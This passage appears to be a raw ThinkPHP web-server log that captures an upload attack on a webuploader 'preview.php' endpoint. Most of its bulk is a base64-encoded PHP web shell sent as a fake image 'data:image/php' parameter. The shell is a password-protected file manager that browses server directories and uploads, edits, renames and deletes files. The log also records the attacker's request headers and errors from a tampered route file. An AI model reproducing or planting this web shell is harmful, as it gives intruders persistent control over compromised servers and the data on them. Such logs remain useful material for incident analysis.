AgICAgICAgZWNobyAiJz4iIC4gJGRpcl9wYXJ0IC4gIjwvYT4vIjsNCiAgICB9DQogICAgZWNobyAoJw0KPC9kaXY_DQo8ZGl2IGNsYXNzPSJmb3JtLWlubGluZSI_DQo8YSBocmVmPSI/dXBsb2FkJnE9JyAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICciPjxidXR0b24gY2xhc3M9ImJ0biBidG4tZGFyayIgdHlwZT0iYnV0dG9uIj5VcGxvYWQgRmlsZTwvYnV0dG9uPjwvYT4NCjxhIGhyZWY9Ij8iPjxidXR0b24gdHlwZT0iYnV0dG9uIiBjbGFzcz0iYnRuIGJ0bi1kYXJrIj5IT01FPC9idXR0b24_PC9hPiANCjwvZGl2Pg0KPC9uYXY_Jyk7DQoNCg0KICAgIGlmIChpc3NldCgkX0dFVFsncCddKSkgew0KDQogICAgICAgIC8vZmV0Y2ggZmlsZXMNCiAgICAgICAgaWYgKGlzX3JlYWRhYmxlKFBBVEgpKSB7DQogICAgICAgICAgICAkZmV0Y2hfb2JqID0gc2NhbmRpcihQQVRIKTsNCiAgICAgICAgICAgICRmb2xkZXJzID0gYXJyYXkoKTsNCiAgICAgICAgICAgICRmaWxlcyA9IGFycmF5KCk7DQogICAgICAgICAgICBmb3JlYWNoICgkZmV0Y2hfb2JqIGFzICRvYmopIHsNCiAgICAgICAgICAgICAgICBpZiAoJG9iaiA9PSAnLicgfHwgJG9iaiA9PSAnLi4nKSB7DQogICAgICAgICAgICAgICAgICAgIGNvbnRpbnVlOw0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAkbmV3X29iaiA9IFBBVEggLiAnLycgLiAkb2JqOw0KICAgICAgICAgICAgICAgIGlmIChpc19kaXIoJG5ld19vYmopKSB7DQogICAgICAgICAgICAgICAgICAgIGFycmF5X3B1c2goJGZvbGRlcnMsICRvYmopOw0KICAgICAgICAgICAgICAgIH0gZWxzZWlmIChpc19maWxlKCRuZXdfb2JqKSkgew0KICAgICAgICAgICAgICAgICAgICBhcnJheV9wdXNoKCRmaWxlcywgJG9iaik7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgICAgIGVjaG8gJw0KPHRhYmxlIGNsYXNzPSJ0YWJsZSB0YWJsZS1ob3ZlciI_DQogIDx0aGVhZD4NCiAgICA8dHI_DQogICAgICA8dGggc2NvcGU9ImNvbCI_TmFtZTwvdGg_DQogICAgICA8dGggc2NvcGU9ImNvbCI_U2l6ZTwvdGg_DQogICAgICA8dGggc2NvcGU9ImNvbCI_TW9kaWZpZWQ8L3RoPg0KICAgICAgPHRoIHNjb3BlPSJjb2wiPlBlcm1zPC90aD4NCiAgICAgIDx0aCBzY29wZT0iY29sIj5BY3Rpb25zPC90aD4NCiAgICA8L3RyPg0KICA8L3RoZWFkPg0KICA8dGJvZHk_DQonOw0KICAgICAgICBmb3JlYWNoICgkZm9sZGVycyBhcyAkZm9sZGVyKSB7DQogICAgICAgICAgICBlY2hvICIgICAgPHRyPg0KICAgICAgPHRkPjxpIGNsYXNzPSdmYS1zb2xpZCBmYS1mb2xkZXInPjwvaT4gPGEgaHJlZj0nP3A9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEggLiAiLyIgLiAkZm9sZGVyKSkgLiAiJz4iIC4gJGZvbGRlciAuICI8L2E_PC90ZD4NCiAgICAgIDx0ZD48Yj4tLS08L2I_PC90ZD4NCiAgICAgIDx0ZD4iLiBkYXRlKCJGIGQgWSBIOmk6cy4iLCBmaWxlbXRpbWUoUEFUSCAuICIvIiAuICRmb2xkZXIpKSAuICI8L3RkPg0KICAgICAgPHRkPjAiIC4gc3Vic3RyKGRlY29jdChmaWxlcGVybXMoUEFUSCAuICIvIiAuICRmb2xkZXIpKSwgLTMpIC4gIjwvYT48L3RkPg0KICAgICAgPHRkPg0KICAgICAgPGEgdGl0bGU9J1JlbmFtZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImcj0iIC4gJGZvbGRlciAuICInPjxpIGNsYXNzPSdmYS1zaGFycCBmYS1yZWd1bGFyIGZhLXBlbi10by1zcXVhcmUnPjwvaT48L2E_DQogICAgICA8YSB0aXRsZT0nRGVsZXRlJyBocmVmPSc/cT0iIC4gdXJsZW5jb2RlKGVuY29kZVBhdGgoUEFUSCkpIC4gIiZkPSIgLiAkZm9sZGVyIC4gIic_PGkgY2xhc3M9J2ZhIGZhLXRyYXNoJyBhcmlhLWhpZGRlbj0ndHJ1ZSc_PC9pPjwvYT4NCiAgICAgIDx0ZD4NCiAgICA8L3RyPg0KIjsNCiAgICAgICAgfQ0KICAgICAgICBmb3JlYWNoICgkZmlsZXMgYXMgJGZpbGUpIHsNCiAgICAgICAgICAgIGVjaG8gIiAgICA8dHI_DQogICAgICAgICAgPHRkPiIgLiBmaWxlSWNvbigkZmlsZSkgLiAkZmlsZSAuICI8L3RkPg0KICAgICAgICAgIDx0ZD4iIC4gZm9ybWF0U2l6ZVVuaXRzKGZpbGVzaXplKFBBVEggLiAiLyIgLiAkZmlsZSkpIC4gIjwvdGQ_DQogICAgICAgICAgPHRkPiIgLiBkYXRlKCJGIGQgWSBIOmk6cy4iLCBmaWxlbXRpbWUoUEFUSCAuICIvIiAuICRmaWxlKSkgLiAiPC90ZD4NCiAgICAgICAgICA8dGQ_MCIuIHN1YnN0cihkZWNvY3QoZmlsZXBlcm1zKFBBVEggLiAiLyIgLiRmaWxlKSksIC0zKSAuICI8L2E_PC90ZD4NCiAgICAgICAgICA8dGQ_DQogICAgICAgICAgPGEgdGl0bGU9J0VkaXQgRmlsZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImZT0iIC4gJGZpbGUgLiAiJz48aSBjbGFzcz0nZmEtc29saWQgZmEtZmlsZS1wZW4nPjwvaT48L2E_DQogICAgICAgICAgPGEgdGl0bGU9J1JlbmFtZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImcj0iIC4gJGZpbGUgLiAiJz48aSBjbGFzcz0nZmEtc2hhcnAgZmEtcmVndWxhciBmYS1wZW4tdG8tc3F1YXJlJz48L2k_PC9hPg0KICAgICAgICAgIDxhIHRpdGxlPSdEZWxldGUnIGhyZWY9Jz9xPSIgLiB1cmxlbmNvZGUoZW5jb2RlUGF0aChQQVRIKSkgLiAiJmQ9IiAuICRmaWxlIC4gIic_PGkgY2xhc3M9J2ZhIGZhLXRyYXNoJyBhcmlhLWhpZGRlbj0ndHJ1ZSc_PC9pPjwvYT4NCiAgICAgICAgICA8dGQ_DQogICAgPC90cj4NCiI7DQogICAgICAgIH0NCiAgICAgICAgZWNobyAiICA8L3Rib2R5Pg0KPC90YWJsZT4iOw0KICAgIH0gZWxzZSB7DQogICAgICAgIGlmIChlbXB0eSgkX0dFVCkpIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0nKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfQ0KICAgIH0NCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3VwbG9hZCddKSkgew0KICAgICAgICBlY2hvICcNCiAgICA8Zm9ybSBtZXRob2Q9InBvc3QiIGVuY3R5cGU9Im11bHRpcGFydC9mb3JtLWRhdGEiPg0KICAgICAgICBTZWxlY3QgZmlsZSB0byB1cGxvYWQ6DQogICAgICAgIDxpbnB1dCB0eXBlPSJmaWxlIiBuYW1lPSJmaWxlVG9VcGxvYWQiIGlkPSJmaWxlVG9VcGxvYWQiPg0KICAgICAgICA8aW5wdXQgdHlwZT0ic3VibWl0IiBjbGFzcz0iYnRuIGJ0bi1kYXJrIiB2YWx1ZT0iVXBsb2FkIiBuYW1lPSJ1cGxvYWQiPg0KICAgIDwvZm9ybT4nOw0KICAgIH0NCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3InXSkpIHsNCiAgICAgICAgaWYgKCFlbXB0eSgkX0dFVFsnciddKSAmJiBpc3NldCgkX0dFVFsncSddKSkgew0KICAgICAgICAgICAgZWNobyAnDQogICAgPGZvcm0gbWV0aG9kPSJwb3N0Ij4NCiAgICAgICAgUmVuYW1lOg0KICAgICAgICA8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0ibmFtZSIgdmFsdWU9IicgLiAkX0dFVFsnciddIC4gJyI_DQogICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLWRhcmsiIHZhbHVlPSJSZW5hbWUiIG5hbWU9InJlbmFtZSI_DQogICAgPC9mb3JtPic7DQogICAgICAgICAgICBpZiAoaXNzZXQoJF9QT1NUWydyZW5hbWUnXSkpIHsNCiAgICAgICAgICAgICAgICAkbmFtZSA9IFBBVEggLiAiLyIgLiAkX0dFVFsnciddOw0KICAgICAgICAgICAgICAgIGlmKHJlbmFtZSgkbmFtZSwgUEFUSCAuICIvIiAuICRfUE9TVFsnbmFtZSddKSkgew0KICAgICAgICAgICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5hbGVydCgnUmVuYW1lZC4nKTsgd2luZG93LmxvY2F0aW9uLnJlcGxhY2UoJz9wPSIgLiBlbmNvZGVQYXRoKFBBVEgpIC4gIicpOzwvc2NyaXB0PiIpOw0KICAgICAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgfQ0KDQogICAgaWYgKGlzc2V0KCRfR0VUWydlJ10pKSB7DQogICAgICAgIGlmICghZW1wdHkoJF9HRVRbJ2UnXSkgJiYgaXNzZXQoJF9HRVRbJ3EnXSkpIHsNCiAgICAgICAgICAgIGVjaG8gJw0KICAgIDxmb3JtIG1ldGhvZD0icG9zdCI_DQogICAgICAgIDx0ZXh0YXJlYSBzdHlsZT0iaGVpZ2h0OiA1MDBweDsNCiAgICAgICAgd2lkdGg6IDkwJTsiIG5hbWU9ImRhdGEiPicgLiBodG1sc3BlY2lhbGNoYXJzKGZpbGVfZ2V0X2NvbnRlbnRzKFBBVEguIi8iLiRfR0VUWydlJ10pKSAuICc8L3RleHRhcmVhPg0KICAgICAgICA8YnI_DQogICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLWRhcmsiIHZhbHVlPSJTYXZlIiBuYW1lPSJlZGl0Ij4NCiAgICA8L2Zvcm0_JzsNCg0KICAgIGlmKGlzc2V0KCRfUE9TVFsnZWRpdCddKSkgew0KICAgICAgICAkZmlsZW5hbWUgPSBQQVRILiIvIi4kX0dFVFsnZSddOw0KICAgICAgICAkZGF0YSA9ICRfUE9TVFsnZGF0YSddOw0KICAgICAgICAkb3BlbiA9IGZvcGVuKCRmaWxlbmFtZSwidyIpOw0KICAgICAgICBpZihmd3JpdGUoJG9wZW4sJGRhdGEpKSB7DQogICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5hbGVydCgnU2F2ZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfSBlbHNlIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgIH0NCiAgICAgICAgZmNsb3NlKCRvcGVuKTsNCiAgICB9DQogICAgICAgIH0NCiAgICB9DQoNCiAgICBpZiAoaXNzZXQoJF9QT1NUWyJ1cGxvYWQiXSkpIHsNCiAgICAgICAgJHRhcmdldF9maWxlID0gUEFUSCAuICIvIiAuICRfRklMRVNbImZpbGVUb1VwbG9hZCJdWyJuYW1lIl07DQogICAgICAgIGlmIChtb3ZlX3VwbG9hZGVkX2ZpbGUoJF9GSUxFU1siZmlsZVRvVXBsb2FkIl1bInRtcF9uYW1lIl0sICR0YXJnZXRfZmlsZSkpIHsNCiAgICAgICAgICAgIGVjaG8gIjxwPiIuaHRtbHNwZWNpYWxjaGFycyhiYXNlbmFtZSgkX0ZJTEVTWyJmaWxlVG9VcGxvYWQiXVsibmFtZSJdKSkgLiAiIGhhcyBiZWVuIHVwbG9hZGVkLjwvcD4iOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgZWNobyAiPHA_U29ycnksIHRoZXJlIHdhcyBhbiBlcnJvciB1cGxvYWRpbmcgeW91ciBmaWxlLjwvcD4iOw0KICAgICAgICB9DQoNCiAgICB9DQogICAgaWYgKGlzc2V0KCRfR0VUWydkJ10pICYmIGlzc2V0KCRfR0VUWydxJ10pKSB7DQogICAgICAgICRuYW1lID0gUEFUSCAuICIvIiAuICRfR0VUWydkJ107DQogICAgICAgIGlmIChpc19maWxlKCRuYW1lKSkgew0KICAgICAgICAgICAgaWYodW5saW5rKCRuYW1lKSkgew0KICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdGaWxlIHJlbW92ZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgZWNobyAoIjxzY3JpcHQ_YWxlcnQoJ1NvbWUgZXJyb3Igb2NjdXJyZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgICAgIH0NCiAgICAgICAgfSBlbHNlaWYgKGlzX2RpcigkbmFtZSkpIHsNCiAgICAgICAgICAgIGlmKHJtZGlyKCRuYW1lKSA9PSB0cnVlKSB7DQogICAgICAgICAgICAgICAgZWNobyAoIjxzY3JpcHQ_YWxlcnQoJ0RpcmVjdG9yeSByZW1vdmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICB9DQogICAgICAgIH0NCiAgICB9DQogICAgPz4NCg0KICAgIDxzY3JpcHQgc3JjPSJodHRwczovL2Nkbi5qc2RlbGl2ci5uZXQvbnBtL2Jvb3RzdHJhcEA1LjMuMC1hbHBoYTEvZGlzdC9qcy9ib290c3RyYXAuYnVuZGxlLm1pbi5qcyINCiAgICAgICAgaW50ZWdyaXR5PSJzaGEzODQtdzc2QXFQZkRrTUJEWG8zMGpTMVNnZXo2cHIzeDVNbFExWkFHQytudVpCK0VZZGdSWmdpd3hoVEJUa0Y3Q1h2TiINCiAgICAgICAgY3Jvc3NvcmlnaW49ImFub255bW91cyI_PC9zY3JpcHQ_DQo8L2JvZHk_DQoNCjwvaHRtbD4' => '', 'lib' => 'webuploader', 0 => 'server', 'server' => 'preview.php', ) [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-10-23T09:07:06+08:00 ] 119.42.146.234 POST 59.110.137.245/001/lib/webuploader/0.1.5/server/server/preview.php [运行时间:0.002712s] [吞吐率:368.73req/s] [内存消耗:196.78kb] [文件加载:31] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => '001', 2 => 'lib', ), ) [ info ] [ HEADER ] array ( 'host' => '59.110.137.245', 'user-agent' => 'Mozilla/5.0 AppleWebKit/601.1.46 (KHTML, like Gecko) Version/9.0', 'accept-encoding' => 'gzip, deflate', 'accept-language' => 'zh-cn, zh; q=0.9', 'upgrade-insecure-requests' => '1', 'content-type' => 'application/x-www-form-urlencoded; charset=utf-8', 'content-length' => '15102', ) [ info ] [ PARAM ] array ( 'data:image/php;base64,PCFET0NUWVBFIGh0bWw_DQo8aHRtbCBsYW5nPSJlbiI_DQoNCjxoZWFkPg0KICAgIDxtZXRhIGNoYXJzZXQ9IlVURi04Ij4NCiAgICA8bWV0YSBodHRwLWVxdWl2PSJYLVVBLUNvbXBhdGlibGUiIGNvbnRlbnQ9IklFPWVkZ2UiPg0KICAgIDxtZXRhIG5hbWU9InZpZXdwb3J0IiBjb250ZW50PSJ3aWR0aD1kZXZpY2Utd2lkdGgsIGluaXRpYWwtc2NhbGU9MS4wIj4NCiAgICA8dGl0bGU_I0kgTE9WRSBZT1UgRVZFUkRBWSM8L3RpdGxlPg0KICAgIDxsaW5rIGhyZWY9Imh0dHBzOi8vY2RuLmpzZGVsaXZyLm5ldC9ucG0vYm9vdHN0cmFwQDUuMy4wLWFscGhhMS9kaXN0L2Nzcy9ib290c3RyYXAubWluLmNzcyIgcmVsPSJzdHlsZXNoZWV0Ig0KICAgICAgICBpbnRlZ3JpdHk9InNoYTM4NC1HTGhsVFE4aVJBQmRaTGw2TzNvVk1XU2t0UU9wNmI3SW4xWmwzL0pyNTliNkVHR29JMWFGa3c3Y21EQTZqNmdEIiBjcm9zc29yaWdpbj0iYW5vbnltb3VzIj4NCiAgICA8bGluayByZWw9InN0eWxlc2hlZXQiIGhyZWY9Imh0dHBzOi8vY2RuanMuY2xvdWRmbGFyZS5jb20vYWpheC9saWJzL2ZvbnQtYXdlc29tZS82LjMuMC9jc3MvYWxsLm1pbi5jc3MiDQogICAgICAgIGludGVncml0eT0ic2hhNTEyLVN6bHJ4V1VscGZ1elErcGNVQ29zeGNnbFFSTkFxL0RaalZzQzBsRTQweHNBRHNmZVFvRXlwRStlbndjT2lHamsvYlN1R0dLSEV5alNvUTF6VmlzYW5RPT0iDQogICAgICAgIGNyb3Nzb3JpZ2luPSJhbm9ueW1vdXMiIHJlZmVycmVycG9saWN5PSJuby1yZWZlcnJlciIgLz4NCjwvaGVhZD4NCg0KPGJvZHk_DQoNCiAgICA8P3BocA0KJHBhc3N3b3JkID0gIjMyYWJhNjBjMmVkOWUzNDhkOTRkNTQ2M2QwZTE2MmZkIjsgLy9WaXYsIGJlYmVnaW0uDQoNCiAgICAvL2Z1bmN0aW9uDQogICAgZnVuY3Rpb24gZm9ybWF0U2l6ZVVuaXRzKCRieXRlcykNCiAgICB7DQogICAgICAgIGlmICgkYnl0ZXMgPj0gMTA3Mzc0MTgyNCkgew0KICAgICAgICAgICAgJGJ5dGVzID0gbnVtYmVyX2Zvcm1hdCgkYnl0ZXMgLyAxMDczNzQxODI0LCAyKSAuICcgR0InOw0KICAgICAgICB9IGVsc2VpZiAoJGJ5dGVzID49IDEwNDg1NzYpIHsNCiAgICAgICAgICAgICRieXRlcyA9IG51bWJlcl9mb3JtYXQoJGJ5dGVzIC8gMTA0ODU3NiwgMikgLiAnIE1CJzsNCiAgICAgICAgfSBlbHNlaWYgKCRieXRlcyA_PSAxMDI0KSB7DQogICAgICAgICAgICAkYnl0ZXMgPSBudW1iZXJfZm9ybWF0KCRieXRlcyAvIDEwMjQsIDIpIC4gJyBLQic7DQogICAgICAgIH0gZWxzZWlmICgkYnl0ZXMgPiAxKSB7DQogICAgICAgICAgICAkYnl0ZXMgPSAkYnl0ZXMgLiAnIGJ5dGVzJzsNCiAgICAgICAgfSBlbHNlaWYgKCRieXRlcyA9PSAxKSB7DQogICAgICAgICAgICAkYnl0ZXMgPSAkYnl0ZXMgLiAnIGJ5dGUnOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgJGJ5dGVzID0gJzAgYnl0ZXMnOw0KICAgICAgICB9DQogICAgICAgIHJldHVybiAkYnl0ZXM7DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZmlsZUV4dGVuc2lvbigkZmlsZSkNCiAgICB7DQogICAgICAgIHJldHVybiBzdWJzdHIoc3RycmNocigkZmlsZSwgJy4nKSwgMSk7DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZmlsZUljb24oJGZpbGUpDQogICAgew0KICAgICAgICAkaW1ncyA9IGFycmF5KCJhcG5nIiwgImF2aWYiLCAiZ2lmIiwgImpwZyIsICJqcGVnIiwgImpmaWYiLCAicGpwZWciLCAicGpwIiwgInBuZyIsICJzdmciLCAid2VicCIpOw0KICAgICAgICAkYXVkaW8gPSBhcnJheSgid2F2IiwgIm00YSIsICJtNGIiLCAibXAzIiwgIm9nZyIsICJ3ZWJtIiwgIm1wYyIpOw0KICAgICAgICAkZXh0ID0gc3RydG9sb3dlcihmaWxlRXh0ZW5zaW9uKCRmaWxlKSk7DQogICAgICAgIGlmICgkZmlsZSA9PSAiZXJyb3JfbG9nIikgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc2hhcnAgZmEtc29saWQgZmEtYnVnIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZmlsZSA9PSAiLmh0YWNjZXNzIikgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc29saWQgZmEtaGFtbWVyIj48L2k_ICc7DQogICAgICAgIH0NCiAgICAgICAgaWYgKCRleHQgPT0gImh0bWwiIHx8ICRleHQgPT0gImh0bSIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1odG1sNSI_PC9pPiAnOw0KICAgICAgICB9IGVsc2VpZiAoJGV4dCA9PSAicGhwIiB8fCAkZXh0ID09ICJwaHRtbCIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1waHAiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsICRpbWdzKSkgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtcmVndWxhciBmYS1pbWFnZXMiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKCRleHQgPT0gImNzcyIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1jc3MzIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZXh0ID09ICJ0eHQiKSB7DQogICAgICAgICAgICByZXR1cm4gJzxpIGNsYXNzPSJmYS1yZWd1bGFyIGZhLWZpbGUtbGluZXMiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsICRhdWRpbykpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWR1b3RvbmUgZmEtZmlsZS1tdXNpYyI_PC9pPiAnOw0KICAgICAgICB9IGVsc2VpZiAoJGV4dCA9PSAicHkiKSB7DQogICAgICAgICAgICByZXR1cm4gJzxpIGNsYXNzPSJmYS1icmFuZHMgZmEtcHl0aG9uIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZXh0ID09ICJqcyIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1qcyI_PC9pPiAnOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc29saWQgZmEtZmlsZSI_PC9pPiAnOw0KICAgICAgICB9DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZW5jb2RlUGF0aCgkcGF0aCkNCiAgICB7DQogICAgICAgICRhID0gYXJyYXkoIi8iLCAiXFwiLCAiLiIsICI6Iik7DQogICAgICAgICRiID0gYXJyYXkoIuCmlSIsICLgppYiLCAi4KaXIiwgIuCmmCIpOw0KICAgICAgICByZXR1cm4gc3RyX3JlcGxhY2UoJGEsICRiLCAkcGF0aCk7DQogICAgfQ0KICAgIGZ1bmN0aW9uIGRlY29kZVBhdGgoJHBhdGgpDQogICAgew0KICAgICAgICAkYSA9IGFycmF5KCIvIiwgIlxcIiwgIi4iLCAiOiIpOw0KICAgICAgICAkYiA9IGFycmF5KCLgppUiLCAi4KaWIiwgIuCmlyIsICLgppgiKTsNCiAgICAgICAgcmV0dXJuIHN0cl9yZXBsYWNlKCRiLCAkYSwgJHBhdGgpOw0KICAgIH0NCg0KDQoNCiAgICAkcm9vdF9wYXRoID0gX19ESVJfXzsNCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3AnXSkpIHsNCiAgICAgICAgaWYgKGVtcHR5KCRfR0VUWydwJ10pKSB7DQogICAgICAgICAgICAkcCA9ICRyb290X3BhdGg7DQogICAgICAgIH0gZWxzZWlmICghaXNfZGlyKGRlY29kZVBhdGgoJF9HRVRbJ3AnXSkpKSB7DQogICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5cbmFsZXJ0KCdEaXJlY3RvcnkgaXMgQ29ycnVwdGVkIGFuZCBVbnJlYWRhYmxlLicpO1xud2luZG93LmxvY2F0aW9uLnJlcGxhY2UoJz8nKTtcbjwvc2NyaXB0PiIpOw0KICAgICAgICB9IGVsc2VpZiAoaXNfZGlyKGRlY29kZVBhdGgoJF9HRVRbJ3AnXSkpKSB7DQogICAgICAgICAgICAkcCA9IGRlY29kZVBhdGgoJF9HRVRbJ3AnXSk7DQogICAgICAgIH0NCiAgICB9IGVsc2VpZiAoaXNzZXQoJF9HRVRbJ3EnXSkpIHsNCiAgICAgICAgaWYgKCFpc19kaXIoZGVjb2RlUGF0aCgkX0dFVFsncSddKSkpIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0nKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfSBlbHNlaWYgKGlzX2RpcihkZWNvZGVQYXRoKCRfR0VUWydxJ10pKSkgew0KICAgICAgICAgICAgJHAgPSBkZWNvZGVQYXRoKCRfR0VUWydxJ10pOw0KICAgICAgICB9DQogICAgfSBlbHNlIHsNCiAgICAgICAgJHAgPSAkcm9vdF9wYXRoOw0KICAgIH0NCiAgICBkZWZpbmUoIlBBVEgiLCAkcCk7DQoNCiAgICBlY2hvICgnDQo8bmF2IGNsYXNzPSJuYXZiYXIgbmF2YmFyLWxpZ2h0IiBzdHlsZT0iYmFja2dyb3VuZC1jb2xvcjogI2UzZjJmZDsiPg0KICA8ZGl2IGNsYXNzPSJuYXZiYXItYnJhbmQiPg0KICA8YSBocmVmPSI/Ij48aW1nIHNyYz0iaHR0cHM6Ly9naXRodWIuY29tL2ZsdWlkaWNvbi5wbmciIHdpZHRoPSIzMCIgaGVpZ2h0PSIzMCIgYWx0PSIiPjwvYT4NCicpOw0KDQogICAgJHBhdGggPSBzdHJfcmVwbGFjZSgnXFwnLCAnLycsIFBBVEgpOw0KICAgICRwYXRocyA9IGV4cGxvZGUoJy8nLCAkcGF0aCk7DQogICAgZm9yZWFjaCAoJHBhdGhzIGFzICRpZCA9PiAkZGlyX3BhcnQpIHsNCiAgICAgICAgaWYgKCRkaXJfcGFydCA9PSAnJyAmJiAkaWQgPT0gMCkgew0KICAgICAgICAgICAgJGEgPSB0cnVlOw0KICAgICAgICAgICAgZWNobyAiPGEgaHJlZj1cIj9wPS9cIj4vPC9hPiI7DQogICAgICAgICAgICBjb250aW51ZTsNCiAgICAgICAgfQ0KICAgICAgICBpZiAoJGRpcl9wYXJ0ID09ICcnKQ0KICAgICAgICAgICAgY29udGludWU7DQogICAgICAgIGVjaG8gIjxhIGhyZWY9Jz9wPSI7DQogICAgICAgIGZvciAoJGkgPSAwOyAkaSA8PSAkaWQ7ICRpKyspIHsNCiAgICAgICAgICAgIGVjaG8gc3RyX3JlcGxhY2UoIjoiLCAi4KaYIiwgJHBhdGhzWyRpXSk7DQogICAgICAgICAgICBpZiAoJGkgIT0gJGlkKQ0KICAgICAgICAgICAgICAgIGVjaG8gIuCmlSI7DQogICAgICAgIH0NCiAgICAgICAgZWNobyAiJz4iIC4gJGRpcl9wYXJ0IC4gIjwvYT4vIjsNCiAgICB9DQogICAgZWNobyAoJw0KPC9kaXY_DQo8ZGl2IGNsYXNzPSJmb3JtLWlubGluZSI_DQo8YSBocmVmPSI/dXBsb2FkJnE9JyAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKS